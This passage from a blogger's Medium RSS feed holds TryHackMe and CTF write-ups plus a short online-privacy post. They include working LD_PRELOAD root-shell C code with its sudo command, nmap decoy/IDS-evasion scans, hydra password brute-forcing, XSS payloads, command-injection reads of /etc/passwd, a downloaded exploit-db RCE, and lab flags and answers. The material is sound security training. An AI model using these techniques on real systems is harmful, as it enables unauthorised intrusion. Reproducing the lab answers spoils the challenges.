thesudo -l command to list all commands the <strong>webdeveloper</strong> user can run using sudo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*QS0zCZA8ZaObIbRXQzc1MA.png" /></figure><p>LD_PRELOAD is a function that allows any program to use shared libraries. This <a href="https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/">blog post</a> will give you an idea about the capabilities of LD_PRELOAD.</p><p>The steps of this privilege escalation vector can be summarized as follows;</p><ol><li>Check for LD_PRELOAD (with the env_keep option)</li><li>Write a simple C code compiled as a share object (.so extension) file</li><li>Run the program with sudo rights and the LD_PRELOAD option pointing to our .so file</li></ol><p>Now lets write a <strong>c</strong> code to be able to spawn up a root shell and can be written as follows;</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;sys/types.h&gt;<br>#include &lt;stdlib.h&gt;</pre><pre>void _init() {<br> unsetenv(&quot;LD_PRELOAD&quot;);<br> setgid(0);<br> setuid(0);<br> system(&quot;/bin/bash&quot;);<br>}</pre><p>We can save this code as <strong>shell.c </strong>and compile it using gcc into a shared object file using the following parameters;</p><p>gcc -fPIC -shared -o shell.so shell.c -nostartfiles</p><p>We need to run the program by specifying the LD_PRELOAD option, as follows;</p><p>sudo LD_PRELOAD=/home/webdeveloper/shell.so sky_backup_utility</p><p>This will result in a shell spawn with root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*PyX66-rAoa3wT9cznh38OA.png" /></figure><p>NB: sky_backup_utility is the command webdeveloper can run as root</p><p>Now we search for the <strong>root.txt</strong> file and BAM! we obtain the final flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*fbozZE14DDgfahsKmj1g7g.jpeg" /></figure><p>Thank you for following this far and I hope it was an informative and enjoyable writeup. Also, should you guys have any suggestions, please leave a comment below.</p><p>Until the next…Ciao!</p><p>— — — — — — — — — — — — — — THE END — — — — — — — — — — — — —</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93187b584ec9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Net Sec Challenge — TryHackMe]]></title>
            <link>https://medium.com/@fathindos.fd/net-sec-challenge-tryhackme-b43afebdf399?source=rss-fd433fc3eae1------2</link>
            <guid isPermaLink="false">https://medium.com/p/b43afebdf399</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hydra]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[CyberSec, Ethical hacking By Fathin]]></dc:creator>
            <pubDate>Thu, 11 Nov 2021 08:50:25 GMT</pubDate>
            <atom:updated>2021-11-11T09:19:30.769Z</atom:updated>
            <content:encoded><![CDATA[<h3>Net Sec Challenge — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/0*ObtDuLA5XcyNj5Xm.png" /><figcaption>source: <a href="https://tryhackme.com/room/netsecchallenge">https://tryhackme.com/room/netsecchallenge</a></figcaption></figure><p>Here we go again…</p><p>This is a write-up on <a href="https://tryhackme.com/room/netsecchallenge">Net Sec Challenge</a>, a challenge on <a href="https://tryhackme.com/">TryHackMe</a> to test network security skills. The following tools: nmap, telnet, and hydra are mainly used for this challenge.</p><p><strong>2.1 What is the highest port number being open less than 10,000?</strong></p><p>since I need a port number less than 10,000, I performed the most basic Nmap scan of the target by running the command below. Nmap by default scans all port numbers between 1 and 1024.</p><pre>nmap 10.10.241.18</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*QsLkaucPSa3M7OxHKvoBKQ.png" /><figcaption>result of Nmap scan</figcaption></figure><p><strong>2.2 There is an open port outside the common 1000 ports; it is above 10,000. What is it?</strong></p><p>Nmap by default scans all port numbers between 1 and 1024. In order to scan other ports, I make use of the -p- flag, which tells Nmap to scan all ports.</p><p><strong>NB: </strong>There are 65,535 possible port numbers, so bear with the process, a scan for all ports would take a reasonable amount of time!</p><p>Nmap uses normal -T3 by default, however, in my scan, I use -T4 which is faster. And —vv for increased verbosity to get more details on the scanning process.</p><p>run the following</p><pre>nmap -p- -T4 -vv 10.10.241.18</pre><p>After the scan is complete, I obtain results. Note that something interesting is 65,254 of the total ports are closed and 275 ports are filtered. The filtered ports could be because of a firewall.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*pe39LxzoQNTQyCrV7U1nqg.png" /><figcaption>result of Nmap scan</figcaption></figure><p><strong>2.3 How many TCP ports are open?</strong></p><p>From the previous scan, I obtain the number of open ports.</p><p><strong>2.4 What is the flag hidden in the HTTP server header?</strong></p><p>From the previous scan in <strong>2.1</strong>, I know that an HTTP server is running on port 80. I can therefore run a more detailed scan solely on port 80 to identify the service details that have been exposed. -sV flag would probe to determine service info and -sC is equivalent to --script=default which would identify HTTP header</p><p>run the command below</p><pre>nmap -sV -sC -T4 -p80 10.10.241.18</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*VYrJGUbn--k8BMegycKW6A.jpeg" /><figcaption>result of Nmap scan</figcaption></figure><p><strong>2.5 What is the flag hidden in the SSH server header?</strong></p><p>I repeat the same step from <strong>2.4 </strong>above. The only difference, in this case, is that the port number would change because SSH runs on port 22 and not port 80.</p><pre>nmap -sV -sC -T4 -p22 10.10.241.18</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*nr529odrcJ97X36YCZXAdA.jpeg" /><figcaption>result of Nmap scan</figcaption></figure><p><strong>2.6 We have an FTP server listening on a nonstandard port. What is the version of the FTP server?</strong></p><p>Remember the non-standard port with an unknown service found in <strong>2.2</strong>? By investigating the port, I find out that an FTP server is indeed running on that port.</p><pre>nmap -sV -sC -T4 -p10021 10.10.241.18</pre><p><strong>2.7 We learned two usernames using social engineering: </strong><strong>eddie and </strong><strong>quinn. What is the flag hidden in one of these two account files and accessible via FTP?</strong></p><p>Since I have been given usernames, I would have to brute-force the passwords with hydra. I create a list that contains the 2 usernames.</p><pre>hydra -L users.txt -P /usr/share/wordlists/rockyou.txt  ftp://10.10.151.126:10021</pre><p>Since this is a brute force attack, it might take time to guess the correct match as there are millions of combinations to obtain the right pair.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*kCKBLvJgIgkDX5oJwuWphA.jpeg" /><figcaption>result of hydra brute force</figcaption></figure><p><strong>2.8 Browsing to </strong><strong>http://10.10.241.18:8080 displays a small challenge that will give you a flag once you solve it. What is the flag?</strong></p><p>to avoid being detected, I tried a combination of flags. I used a decoy scan to hide my IP address and a null scan to probe for open ports. The -D flag would prevent the IDS from knowing which IP was scanning them and which were innocent decoys. While this can be defeated through router path tracing, response-dropping, and other active mechanisms, it is generally an effective technique for <strong>hiding your IP address</strong>.</p><pre>sudo nmap -D 10.10.0.1,10.10.0.2,<strong>IP</strong> -T4 -sN 10.10.132.193</pre><p>NB: <strong>IP =&gt; should be replaced with your own IP address</strong></p><p>Thanks for following this far, I hope this write up did provide some insight into the challenge. Until the next write-up, see you!</p><p>you may find me on TryHackMe at <a href="https://tryhackme.com/p/Candidate14">https://tryhackme.com/p/Candidate14</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b43afebdf399" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme OWASP Top 10 Walkthrough]]></title>
            <link>https://medium.com/@fathindos.fd/tryhackme-owasp-top-10-walkthrough-c12d89bed42b?source=rss-fd433fc3eae1------2</link>
            <guid isPermaLink="false">https://medium.com/p/c12d89bed42b</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[CyberSec, Ethical hacking By Fathin]]></dc:creator>
            <pubDate>Sat, 16 Oct 2021 12:01:27 GMT</pubDate>
            <atom:updated>2021-10-19T16:02:08.295Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a writeup for the room <a href="https://tryhackme.com/room/owasptop10">OWASPTop</a> 10 on <a href="https://tryhackme.com/">Tryhackme</a></p><p>This room focuses on the following OWASP Top 10 vulnerabilities</p><ol><li>Injection</li><li>Broken Authentication</li><li>Sensitive Data Exposure</li><li>XML External Entity</li><li>Broken Access Control</li><li>Security Misconfiguration</li><li>Cross-site Scripting</li><li><strong>I</strong>nsecure Deserialisation</li><li>Components with Known Vulnerabilities</li><li>Insufficient Logging &amp; Monitoring</li></ol><h3><strong>Task 5 [Command Injection]</strong></h3><p><strong>5.1. What strange text file is in the website root directory?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UiL8_CnacnmAygVjrggFBg.png" /></figure><p><strong>Explanation</strong></p><p>As this is a reverse shell. Type in the command ls in the console and press submit</p><p><strong>Answer</strong>: drpepper.txt</p><p><strong>5.2</strong> <strong>How many non-root/non-service/non-daemon users are there?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*icecSuE1kuX_UrrFvnbnVg.png" /><figcaption>Click <a href="https://linuxize.com/post/etc-passwd-file/">here</a> for more understanding /etc/passwd file fields</figcaption></figure><p><strong>Explanation</strong></p><p>The /etc/passwd will contain local users in a Linux system: it could be considered here as the password database. So Type the command cat /etc/passwd and press submit.</p><p>We can see that :x:100 range or above of users is returned. Now we analyse the file and check if they all have home directories. So, home/$Username</p><p>After analysing, we obtain users information that is not root/service/daemon</p><p><strong>Answer</strong>: 0</p><p><strong>5.3 What user is this app running as?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SEMdgYx7dK85N5K2T9UB2Q.png" /></figure><p><strong>Explanation</strong></p><p>whoami command displays the username of the current user.</p><p><strong>Answer</strong>: www-data</p><p><strong>5.4 What is the user’s shell set as?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MOiVlqXGtEs7Ws22cVG6_A.png" /></figure><p><strong>Explanation</strong></p><p>The user’s shell is defined in the /etc/passwd file.</p><p>getent<em> </em>is a common way to look up in user details on Linux. Since getent<em> </em>uses the same name of service as the system, getent will be going to show all information, including that gained from the network information sources such as LDAP. The databases it usually searches in are: ahosts, <em>ahostsv4</em>, <em>ahostsv6</em>, <em>aliases</em>, <em>ethers </em>(Ethernet addresses), <em>group</em>, <em>gshadow</em>, <em>hosts</em>, <em>netgroup</em>, <em>networks</em>, <em>passwd</em>, <em>protocols</em>, <em>rpc</em>, <em>services</em>, and <em>shadow</em>.</p><p>type getent passwd www-data and press submit to obtain the user’s shell. The 7th field of an entry in etc/passwd file is the home directory of the user (user’s shell).</p><p><strong>Answer: </strong>/usr/sbin/nologin</p><p><strong>5.5 What version of Ubuntu is running?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r8FXYruF1MCo8LWcdDmtWA.png" /></figure><p><strong>Explanation</strong></p><p>Type lsb_release -a to check the ubuntu version.</p><p><strong>Answer: </strong>18.04.4</p><p><strong>5.6 Print out the MOTD. What favourite beverage is shown?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lc3fjkbYROKe28EErvS2zg.png" /></figure><p><strong>Explanation</strong></p><p>The /etc/motd is a file on <a href="https://en.wikipedia.org/wiki/Unix-like">Unix-like</a> systems that contains a “message of the day.</p><p>To know more about motd files, click <a href="https://www.networkworld.com/article/3219736/how-to-use-the-motd-file-to-get-linux-users-to-pay-attention.html">here</a>.</p><p>from the hint, we know that the target file is 00-header .</p><p>type cat /etc/update-motd.d/00-header</p><p><strong>Ans</strong>: DR DREPPER</p><h3><strong>Task 7 [Broken Authentication]</strong></h3><p><strong>7.1 What is the flag that you found in Darren&#39;s account?</strong></p><p><strong>Explanation</strong></p><p>Register a new account with username: “ <strong><em>Darren”. </em>Make sure there is whitespace before the name!</strong>. You may now login with newly created info and obtain the flag. <strong>Ps: </strong>You might need to inspect the page to copy the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9CHZ5-NY4GiSjAyazyTPig.png" /></figure><p><strong>Ans</strong>:fe86079416a21a3c99937fea8874b667</p><p><strong>7.3 What is the flag that you found in Arthur&#39;s account?</strong></p><p><strong>Explanation</strong></p><p>Register a new account with username: “ Arthur<strong><em>”. </em></strong>Make sure there is whitespace. You may now login with newly created info and obtain the flag. <strong>Ps: </strong>You might need to inspect the page to copy the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o-v5AMnuk9EhY6NX3bMZ1g.png" /></figure><p><strong>Ans</strong>:d9ac0f7db4fda460ac3edeb75d75e16e</p><h3>Task 11[Sensitive Data Exposure]</h3><p>Have a look around the web app. The developer has left themselves a note indicating that there is sensitive data in a specific directory.</p><p><strong>11.1 What is the name of the mentioned directory?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8wBR7RSHoQ9DPLWxJ5W2_A.png" /></figure><p><strong>Explanation</strong>: Inspect the source code of the login page, and then obtain the developer note.</p><p><strong>Ans:</strong> /assets</p><p><strong>11.2 Navigate to the directory you found in question one. What file stands out as being likely to contain sensitive data?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*DJKeywmINTTy1mNjooCATg.png" /></figure><p><strong>Explanation</strong>: Database files would likely be holding sensitive data in any system.</p><p><strong>Ans:</strong> webapp.db</p><p><strong>11.3 Use the supporting material to access the sensitive data. What is the password hash of the admin user?</strong></p><p><strong>Explanation</strong>: The first step is to download the database and check what type of database it is. We can do that by using the command file webapp.db .we obtain that it is an SQlite database</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*oUY42-azIIBHg8EAgDQLIA.png" /></figure><p>To access it, we run sqlite3 webapp.db</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*cpYhjSiGiLDkCPS6lsKnNw.png" /></figure><p>From here we can see the tables in the database by using .tables command. we obtain 2 tables.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*svZUMxjOfTmbHpqcG63hYA.png" /></figure><p>look at the table information by using PRAGMA table_info(users); to see the table information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P2xg9wYh0EntGSjXzYhNfg.png" /></figure><p>then use SELECT * FROM users; to dump the information from the table:</p><p>We can see from the table information that there are four columns: userID, username, password and admin. You may notice that this matches up with the results. Take the first row which is the admin:</p><p>4413096d9c933359b898b6202288a650|admin|6eea9b7ef19179a06954edd0f6c05ceb|1</p><p>We have the userID (0), the userName (admin), the password hash (6eea9b7ef19179a06954edd0f6c05ceb) and admin(1).</p><p><strong>Ans:</strong>6eea9b7ef19179a06954edd0f6c05ceb</p><p><strong>11.4 Crack the hash. What is the admin’s plaintext password?</strong></p><p><strong>Explanation:</strong> Using <a href="https://crackstation.net/">crackstation</a>, the hash is cracked and password is obtained</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bfGzqrX7VetXewvEKgLTSg.png" /></figure><p><strong>Ans: </strong>qwertyuiop</p><p><strong>11.5 Login as the admin. What is the flag?</strong></p><p>using the obtained credentials, login as the admin</p><p>username: admin</p><p>password: qwertyuiop</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LPnHSeLq12IcHamE6xn4sg.png" /></figure><p><strong>Ans:</strong> THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}</p><h3>Task 13[eXtensible Markup Language]</h3><p><strong>13.1 Full form of XML</strong></p><p><strong>Ans</strong>: eXtensible markup languageage</p><p><strong>13.2 Is it compulsory to have XML prolog in XML documents?</strong></p><p><strong>Explanation</strong>: It is not compulsory for an XML document to have an XML Prolog. However, it is nice and good practice if it does.</p><p><strong>Ans</strong>: No</p><p><strong>13.3 Can we validate XML documents against a schema?</strong></p><p><strong>Explanation: </strong>XML allows validation using DTD and Schema. This validation ensures that the XML document is free from any syntax error.</p><p><strong>Ans:</strong> Yes</p><p><strong>13.4 How can we specify XML version and encoding in an XML document?</strong></p><p><strong>Explanation: </strong>The XML prolog is located at the beginning of an XML file and it specifies XML version and encoding in an XML document.</p><p><strong>syntax :</strong>&lt;?xml version=”1.0&quot; encoding=”UTF-8&quot;?&gt;→ Example of an XML prolog</p><p><strong>Ans: </strong>XML Prolog</p><h3>Task 14[ XML External Entity — DTD]</h3><p><strong>14.1 How do you define a new ELEMENT?</strong></p><p><strong>Ans:</strong> !ELEMENT</p><p><strong>14.2 How do you define a ROOT element?</strong></p><p><strong>Ans:</strong> !DOCTYPE</p><p><strong>14.3 How do you define a new ENTITY?</strong></p><p>Ans: !ENTITY</p><h3>Task 16[ XML External Entity — Exploiting]</h3><p><strong>16.1 Try to display your own name using any payload.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PRLTt68rWb0mWbAKyHO1YQ.png" /></figure><p><strong>16.2 See if you can read the /etc/passwd</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RYs_yXBeRxx4ju9C6tn8PA.png" /></figure><p><strong>16.3 What is the name of the user in /etc/passwd</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*dV21H08Wj2fSF8fCppm69A.png" /><figcaption>obtained from etc/passwd</figcaption></figure><p><strong>Ans: </strong>falcon</p><p><strong>16.4 Where is falcon’s SSH key located?</strong></p><p>since we know the home directory of falcon obtained from the etc/passwd file. we can append the standard location of ssh key’s in a Linux machine to it. Then confirm the location with the payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sLMePNPOBCoFCaiaGxS1AA.png" /></figure><p><strong>Ans</strong>: /home/falcon/.ssh/id_rsa</p><p><strong>16.5 What are the first 18 characters for falcon’s private key</strong></p><p>Copy the obtained private key into a character counting online tool to count characters. For Example <a href="https://www.charactercountonline.com/">https://www.charactercountonline.com/</a></p><p><strong>NB:</strong> Falcon’s private key begins after “ — — -BEGIN RSA PRIVATE KEY — — -”</p><p><strong>Ans:</strong> MIIEogIBAAKCAQEA7b</p><h3>Task 18 [ Broken Access Control (IDOR Challenge)]</h3><p><strong>18.1 Look at other users notes. What is the flag?</strong></p><p>To obtain the flag, login with the username and password provided. Then Navigate to the Url and change the URL note parameter to 0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PRqC8A0sp23Em_qff6fUNA.png" /></figure><p>Ans: flag{fivefourthree}</p><h3>Task 19 [ Security misconfiguration]</h3><p><strong>19.1 Hack into the web app, and find the flag!</strong></p><p>On googling, I found <a href="https://github.com/NinjaJc01/PensiveNotes/blob/master/README.md">pensive notes</a> on Github which contains default credentials pensive:PensiveNotes</p><p>Use the credentials to login and obtain the Flag</p><p>Ans: thm{4b9513968fd564a87b28aa1f9d672e17}</p><h3><strong>Task 20 [Cross-site Scripting]</strong></h3><p><strong>20.1 Navigate to </strong><a href="http://10.10.199.185/"><strong>http://MACHINE_IP/</strong></a><strong> in your browser and click on the “Reflected XSS” tab on the navbar; craft a reflected XSS payload that will cause a popup saying “Hello”.</strong></p><p><strong>Explanation</strong>: Use this javascript code to cause a popup saying “Hello” &lt;script&gt;alert(“Hello”)&lt;/script&gt; .</p><p><strong>Ans</strong>: ThereIsMoreToXSSThanYouThink</p><p><strong>20.2 On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.</strong></p><p><strong>Explanation: </strong>In javascript, window.location.hostname returns the domain name of the web host. Therefore we can use this js payload to display our IP considering the information provided in the hints. &lt;script&gt;alert(window.location.hostname)&lt;/script&gt;</p><p><strong>Ans</strong>: ReflectiveXss4TheWin</p><p><strong>20.3 Now navigate to </strong><a href="http://10.10.199.185/"><strong>http://MACHINE_IP/</strong></a><strong> in your browser and click on the “Stored XSS” tab on the navbar; make an account. Then add a comment and see if you can insert some of your own HTML.</strong></p><p>Ans: HTML_T4gs</p><p><strong>20.4 On the same page, create an alert popup box that appear on the page with your document cookies.</strong></p><p><strong>Explanation:</strong> Use this payload to obtain cookies &lt;script&gt;alert(document.cookies)&lt;/script&gt;</p><p>Ans: W3LL_D0N3_LVL2s</p><p><strong>20.5 Change “XSS Playground” to “I am a hacker” by adding a comment and using Javascript.</strong></p><p><strong>Explanation: </strong>Using the hint provided, use this js code &lt;script&gt;document.querySelector(‘#thm-title’).textContent = ‘I am a hacker’&lt;/script&gt;</p><p><strong>Ans</strong>: websites_can_be_easily_defaced_with_xss</p><h3>Task 21 [Insecure Deserialization]</h3><p><strong>21.1 Who developed the Tomcat application?</strong></p><p><strong>Ans</strong>: Apache Software Foundation</p><p><strong>21.2 What type of attack that crashes services can be performed with insecure deserialization?</strong></p><p><strong>Ans</strong>: Denial of Service</p><h3>Task 22 [Insecure Deserialization — Objects]</h3><p><strong>22.1 Select the correct term of the following statement</strong></p><p><em>if a dog was sleeping, would this be:</em></p><p>A) A State<br>B) A Behaviour</p><p><strong>Ans: </strong><strong>behaviour</strong></p><h3>Task 23 [Insecure Deserialization — Deserialization]</h3><p><strong>23.1 What is the name of the base-2 formatting that data is sent across a network as?</strong></p><p>Ans: binary</p><h3>Task 24 [Insecure Deserialization — Cookies]</h3><p><strong>24.1 If a cookie had the path of </strong><strong><em>webapp.com/login</em>, what would the URL that the user has to visit be?</strong></p><p><strong>Ans</strong>: webapp.com/login</p><p><strong>24.2 What is the acronym for the web technology that <em>Secure</em> cookies work over?</strong></p><p><strong>Ans</strong>: https</p><h3>Task 25 [Insecure Deserialisation — Cookies Practical]</h3><p><strong>25.1 1st flag (cookie value)</strong></p><p>open the developer console and investigate the session Id. Notice, it is base64 encoded. So this needs to be decoded. Use a tool such as</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OwzWMULbRanT4X2_HMi0MA.png" /></figure><p><a href="https://www.base64decode.org/">https://www.base64decode.org</a> to decode the encoded sessionID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VSeB--H_eUuVnKv-4LLsOg.png" /></figure><p>From the result obtained, we can see the flag.</p><p><strong>Ans</strong>: THM{good_old_base64_huh}</p><p><strong>25.2 2nd flag (admin dashboard)</strong></p><p><strong>Ans</strong>: THM{heres_the_admin_flag}</p><h3>Task 26 [Insecure Deserialization — Code Execution]</h3><p>26.1 Ans: 4a69a7ff9fd68</p><h3>Task 29 [Components With Known Vulnerabilities-Lab]</h3><p>The first thing to do to exploit a web application is to perform some sort of reconnaissance about it, eg. what kind of platform is used to build this web application and the technologies it uses. I found out that it&#39;s using PHP and MYSQL. Also, seems to be developed with <a href="https://projectworlds.in/">projectworlds</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GYhsGMWuvuw6LV9D3WV_gA.png" /></figure><p>secondly based on the hint: “<strong><em>You know it&#39;s a bookstore application, you should check for recent unauthenticated bookstore app rce’s</em></strong>.” I made a search query</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*srLGGEpMtPmagy_59_q9Vg.png" /></figure><p>We find the payload we are looking for: <a href="https://www.exploit-db.com/exploits/47887">https://www.exploit-db.com/exploits/47887</a></p><p>Download the payload with the command wget <a href="https://www.exploit-db.com/download/47887">https://www.exploit-db.com/download/47887</a> and run it against your target.</p><p>Then run wc -C /etc/passwd to obtain the number of characters in the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z8fSnDSU1A5e6K0K78WBAA.png" /></figure><p>Ans: 1611</p><h3>Task 30 [Severity 10] Insufficient Logging and Monitoring]</h3><p><strong>30.1 What IP address is the attacker using?</strong></p><p>observing the logs, the attacker&#39;s IP address should be marked with authorised permission and come from an anonymous party. we can conclude that the attacker’s IP is 49.99.13.16</p><p><strong>30.2 What kind of attack is being carried out?</strong></p><p>Seems like a brute force attack to try out a combination of usernames and passwords with a tool such as <a href="https://www.kali.org/tools/hydra/">hydra</a>, <a href="https://www.kali.org/tools/brutespray/">brutespray</a>, <a href="https://www.kali.org/tools/medusa/">Medusa</a>, etc.</p><h3><strong>Conclusion</strong></h3><p>I hope this walkthrough has been informative to someone reading this. TryHackMe is THE best, if not one of the best platforms to practice your hacking skills and experiment with different scenarios and tools.</p><p>Until the next write Up! Adios :)</p><p>Find me at: <a href="https://fato07.github.io/home/">https://fato07.github.io/home/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c12d89bed42b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Animosity Online, and How to stay anonymous browsing the internet.]]></title>
            <link>https://medium.com/@fathindos.fd/animosity-online-and-how-to-stay-anonymous-browsing-the-internet-2e5088e3c5ad?source=rss-fd433fc3eae1------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e5088e3c5ad</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[animosity]]></category>
            <category><![CDATA[how-to]]></category>
            <category><![CDATA[privacy]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[CyberSec, Ethical hacking By Fathin]]></dc:creator>
            <pubDate>Tue, 06 Oct 2020 14:58:11 GMT</pubDate>
            <atom:updated>2020-10-06T14:58:11.591Z</atom:updated>
            <content:encoded><![CDATA[<p>We’ve all heard that using a VPN is your best option for maintaining your animosity online. However, thats not totally true.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*Oa_CDDaXFDnlHogFid5U2w.jpeg" /></figure><p>In the age of technology we live in today whereby everything we do on the internet is tracked. <strong>As you browse the internet,</strong> online advertisers track nearly every site you visit with the use of cookies, amassing a hoard of information on your habits and preferences. When you visit a news site, they might see you’re a fan of football, HipHop and personal development books, and accordingly select ads tailored to your tastes.</p><h3><strong>what Software can i use?</strong></h3><ol><li><strong>Use </strong><a href="https://www.torproject.org/"><strong>Tor</strong></a><strong>: </strong>TOR is used to hide your IP address from your ISP with a technique known as <a href="https://www.youtube.com/watch?v=QRYzre4bf7I">Onion Routing </a>. TOR is open source and is actively maintained by hundreds of developers world wide. However, TOR usage is easily detected so you may have a hard time accessing some services and the speeds are going to be a bit mediocre.</li><li><strong>Use a different search engine than Google!</strong>. <a href="https://duckduckgo.com/">DuckDuckGo</a>-which doesn’t track you or sell your info is your best option. So get yourself Duckduck going… and not Googling…</li></ol><p>Google keeps tabs on what you’re up to on its devices, apps, and services. However, you might not realise just how far it’s tracking reach extends, into the places you go, the purchases you make, and much more. It’s an extensive set of data, but you can take more control over what Google collects about you and how long the company keeps it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*gClL5kvKqC5PAvW5MVR9xw.jpeg" /></figure><p>3. <strong>Having a Virtual Persona on the internet:</strong> Internet identity, also online identity or internet persona, is a social identity that an Internet user establishes in online communities and websites so that your online communication cannot be traced back to your real identity.</p><p>Tool to create your Internet Identity:</p><ul><li><a href="https://www.fakepersongenerator.com/">https://www.fakepersongenerator.com/</a> : Generates a Fake Identity. The generated information may be used for signing up to websites. In case of a data breach, your real data and information would not be leaked.</li></ul><p>4. <strong>Blocking Third Party Cookies</strong> that tracks and collect user behaviour(If you use Google chrome).</p><h3>Hardware</h3><ol><li><strong>Virtual Machine:</strong> Using a virtual Machine such as a <a href="https://www.virtualbox.org/">virtual box</a> or VM ware. Virtual Box allows you to run another operating system on your device in a contained environment.</li><li><strong>Using a Disk Wiper:</strong> This allows you to wipe the hard disk of your device. It wipes sensitive information stored in memory which could be used maliciously by attackers or hackers against you.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/258/1*dxaPKJZx4uzii8oRUaYJeA.jpeg" /></figure><h3>Conclusion</h3><p>Can you be fully Anonymous online? Maintaining Full Animosity on the internet is an interesting goal to achieve yet very hard. It requires high attention to detail and meticulousness. Some even say that Full animosity on the internet would require you to stop using the Internet entirely. My Advice would be to take the precautions listed in this article for a Level 1 Approach to Animosity online because Nothing is Private in this modern digital age.</p><p><strong>PS</strong>: I hope you enjoyed the article :) and check out my <a href="https://fato07.github.io/home/?latest">website</a> if you think you need me on your team or a project.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e5088e3c5ad" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>